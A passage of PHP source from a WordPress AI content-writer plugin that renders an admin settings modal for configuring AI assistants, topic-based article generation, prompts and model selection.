<div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close' . esc_html($cont) . '" class="codeclosefzr">×</span> <h2>' . esc_html__('Rule', 'aiomatic-automatic-ai-content-writer') . ' <span class="cr_color_white">ID ' . esc_html($cont) . '</span> ' . esc_html__('Advanced Settings', 'aiomatic-automatic-ai-content-writer') . '</h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"><tr><td colspan="2"><h3>' . esc_html__("AI Assistant Options", 'aiomatic-automatic-ai-content-writer') . ':</h3> </td></tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Assistant to use for content creation. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer') . '</div> </div> <b>' . esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer') . '</b> </td> <td><select id="assistant_id' . esc_html($cont) . '" name="aiomatic_rules_list[assistant_id][]" class="cr_width_full" onchange="assistantSelected(\'' . esc_html($cont) . '\');">'; if($all_assistants === false) { $output .= '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { $output .= '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { $output .= '<option value=""'; if($assistant_id == ''){$output .= ' selected';} $output .= '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { $output .= '<option value="' . $myassistant->ID .'"'; if($assistant_id == $myassistant->ID){$output .= ' selected';} $output .= '>' . esc_html($myassistant->post_title); $output .= '</option>'; } } } $output .= '</select> </td> </tr> <tr class="hidetopic' . esc_html($cont) . '"><td colspan="2"><h3>' . esc_html__('Topic Based Posting Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("If you set a post topic list here, the titles you entered in the \'Post Title List\' settings field will not be considered and titles will be auto generated based on this topic! Be sure to edit the \'Title Prompt\' settings from below to change the way titles will be created! Enter a post topic list, one on each line. If you leave this field blank, the titles from entered in the 'Post Title List' settings field will be used. If you enter a value here, new titles will be created, based on this topic and the values from the 'Post Title List' will be overwritten. If you enter multiple topics (one per line), a random topic will be selected at each run. This will set the value of the %%topic%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Auto Generate Post Title Based On Topics (Optional)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[post_topic_list][]" placeholder="Post topic list (one per line)" class="cr_width_full">' . esc_textarea($post_topic_list) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the method to be used for the title generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Title Generator Method", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="title_generator_method" name="aiomatic_rules_list[title_generator_method][]"> <option value="ai"'; if ($title_generator_method == 'ai') { $output .= ' selected'; } $output .= '>' . esc_html__("AI Writer", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="serp"'; if ($title_generator_method == 'serp') { $output .= ' selected'; } $output .= '>' . esc_html__("Related SERP Searches", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a list of post sections, one per line. These will be headings of the content. These can also be automatically generated by the plugin. To enable auto generating of sections, leave this field blank. You can use here the %%topic%% shortcode, to get the value of the above topic, automtically. This will set the value of the %%sections%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you set a section list here, each created article will have this same list of sections, because of this, use shortcodes or Spintax when defining these static topics or leave this field blank for the plugin to auto generate them!", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Sections List (Optional)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[post_sections_list][]" placeholder="Post sections list (one per line)" class="cr_width_full">' . esc_textarea($post_sections_list) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter the number of sections to create in the article. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%sections_count%% shortcode.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Number Of Content Sections To Generate", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" id="section_count' . esc_html($cont) . '" name="aiomatic_rules_list[section_count][]" placeholder="3-4" class="cr_width_full" value="' . esc_attr($section_count) . '"> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select what you want to do with sections in articles.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Sections To Content As", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="sections_role" name="aiomatic_rules_list[sections_role][]"> <option value="h2"'; if ($sections_role == 'h2') { $output .= ' selected'; } $output .= '>' . esc_html__("h2", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="h3"'; if ($sections_role == 'h3') { $output .= ' selected'; } $output .= '>' . esc_html__("h3", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="b"'; if ($sections_role == 'b') { $output .= ' selected'; } $output .= '>' . esc_html__("Bold", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="i"'; if ($sections_role == 'i') { $output .= ' selected'; } $output .= '>' . esc_html__("Italic", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="bi"'; if ($sections_role == 'bi') { $output .= ' selected'; } $output .= '>' . esc_html__("Bold and Italic", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="p"'; if ($sections_role == 'p') { $output .= ' selected'; } $output .= '>' . esc_html__("Paragraph", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="x"'; if ($sections_role == 'x') { $output .= ' selected'; } $output .= '>' . esc_html__("Plain Text", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="no"'; if ($sections_role == 'no') { $output .= ' selected'; } $output .= '>' . esc_html__("Don't Add Sections", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter the number of paragraphs to create for each section. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%paragraphs_per_section%% shortcode.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Number Of Paragraphs Per Section", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" id="paragraph_count' . esc_html($cont) . '" name="aiomatic_rules_list[paragraph_count][]" placeholder="2-3" class="cr_width_full" value="' . esc_attr($paragraph_count) . '"> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the number of related images to add to the created post content. This feature will use the royalty free image sources configured in the plugin's 'Settings' menu or if you have access to the DallE API. You can change image source in the 'AI Image Source' settings field from below. The maximum number of images you can add to each article: number of sections + 2", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Number of Images To Add To The Article", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_rules_list[topic_images][]" value="' . esc_attr($topic_images) . '" placeholder="Number of images" class="cr_width_full"> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add an image to each of the creating headings from the article.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add An Image To Each Heading Of The Article", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="img_all_headings" name="aiomatic_rules_list[img_all_headings][]"'; if($img_all_headings == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the location of the heading images/videos.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Heading Image/Video Location", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="heading_img_location' . esc_html($cont) . '" name="aiomatic_rules_list[heading_img_location][]" class="cr_width_full"> <option value="top"'; if ($heading_img_location == 'top') { $output .= ' selected'; } $output .= '>' . esc_html__("Top of the section", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="heading"'; if ($heading_img_location == 'heading') { $output .= ' selected'; } $output .= '>' . esc_html__("Under the heading text", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="bottom"'; if ($heading_img_location == 'bottom') { $output .= ' selected'; } $output .= '>' . esc_html__("Bottom of the section", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="random"'; if ($heading_img_location == 'random') { $output .= ' selected'; } $output .= '>' . esc_html__("Random", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the number of related videos to add to the created post content. The maximum number of videos you can add to each article: number of sections", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Number of YouTube Videos To Add To The Article", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="0" name="aiomatic_rules_list[topic_videos][]" value="' . esc_attr($topic_videos) . '" placeholder="Number of videos" class="cr_width_full"> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the header text of the outro section header. This is optional.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Outro Section Header Text", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="title_outro' . esc_html($cont) . '" name="aiomatic_rules_list[title_outro][]" type="text" placeholder="Optional" class="coderevolution_gutenberg_input" value="' . esc_attr($title_outro) . '"/> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="hideTOC' . esc_html($cont) . '"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add a Table of Contents section to the created post.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Article Table Of Contents Section", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="hideTOC' . esc_html($cont) . '"> <input type="checkbox" id="enable_toc" name="aiomatic_rules_list[enable_toc][]"'; if($enable_toc == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="hideTOC' . esc_html($cont) . '"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the text of the Table of Contents section header. Default is: Table of Contents", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Table Of Contents Section Header Text", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="hideTOC' . esc_html($cont) . '"> <input id="title_toc' . esc_html($cont) . '" name="aiomatic_rules_list[title_toc][]" type="text" placeholder="Table of Contents" class="coderevolution_gutenberg_input" value="' . esc_attr($title_toc) . '"/> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add a Q&A section to the created post. To enable Q&A for articles, be sure to add a prompt also in the 'Article Q&A Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Article Q&A Section", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_qa" name="aiomatic_rules_list[enable_qa][]"'; if($enable_qa == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the header text of the Q&A section header. Default is: Q&A", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Q&A Section Header Text", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="title_qa' . esc_html($cont) . '" name="aiomatic_rules_list[title_qa][]" type="text" placeholder="Q&A" class="coderevolution_gutenberg_input" value="' . esc_attr($title_qa) . '"/> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td colspan="2"><h4>' . esc_html__('Content Parameters', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the language of the created content. This will set the value of the %%language%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Content Language", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="content_language' . esc_html($cont) . '" name="aiomatic_rules_list[content_language][]" type="text" list="languages" placeholder="Created content language" class="coderevolution_gutenberg_input" value="' . esc_attr($content_language) . '"/> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the writing style of the created content. This will set the value of the %%writing_style%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Writing Style", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="writing_style' . esc_html($cont) . '" name="aiomatic_rules_list[writing_style][]" type="text" list="writing_styles" placeholder="Created content writing style" class="coderevolution_gutenberg_input" value="' . esc_attr($writing_style) . '"/> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the writing tone of the created content. This will set the value of the %%writing_tone%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Writing Tone", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="writing_tone' . esc_html($cont) . '" name="aiomatic_rules_list[writing_tone][]" type="text" list="writing_tones" placeholder="Created content writing tone" class="coderevolution_gutenberg_input" value="' . esc_attr($writing_tone) . '"/> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td colspan="2"><h4>' . esc_html__('Prompts', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Title. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Title Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[title_prompt][]" placeholder="Enter your title prompts, one per line" class="cr_width_full">' . esc_textarea($title_prompt) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the title generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Title Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_rules_list[topic_title_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_title_model)) { $topic_title_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_title_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Intro. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - to disable article intro, leave this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Intro Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[intro_prompt][]" placeholder="Enter your intro prompts, one per line" class="cr_width_full">' . esc_textarea($intro_prompt) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the intro generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Intro Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_rules_list[topic_intro_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_intro_model)) { $topic_intro_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_intro_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Sections. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Sections Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[sections_prompt][]" placeholder="Enter your sections prompts, one per line" class="cr_width_full">' . esc_textarea($sections_prompt) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the sections generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Sections Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_rules_list[topic_sections_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_sections_model)) { $topic_sections_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_sections_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%title%%, %%article_so_far%%, %%last_section_content%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Content Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="3" cols="70" name="aiomatic_rules_list[content_prompt][]" placeholder="Enter your content prompt" class="cr_width_full">' . esc_textarea($content_prompt) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the content generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Content Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_rules_list[topic_content_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_content_model)) { $topic_content_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_content_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to use the above content prompt to create the entire article from a single API call (checkbox checked) or to run the prompt for each section separately (checkbox unchecked). If you check this, be sure to modify the content prompt accordingly.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Use the Above Content Prompt To Create The Entire Article (Not Each Section)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="single_content_call' . esc_html($cont) . '" name="aiomatic_rules_list[single_content_call][]"'; if($single_content_call == '1') { $output .= ' checked'; } $output .= ' onclick="hideTOC(' . esc_html($cont) . ');"> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Q&A. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Q&A Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[qa_prompt][]" placeholder="Enter your Q&A prompts, one per line" class="cr_width_full">' . esc_textarea($qa_prompt) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the Q&A generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Q&A Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_rules_list[topic_qa_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_qa_model)) { $topic_qa_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_qa_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post outro. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Outro Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" 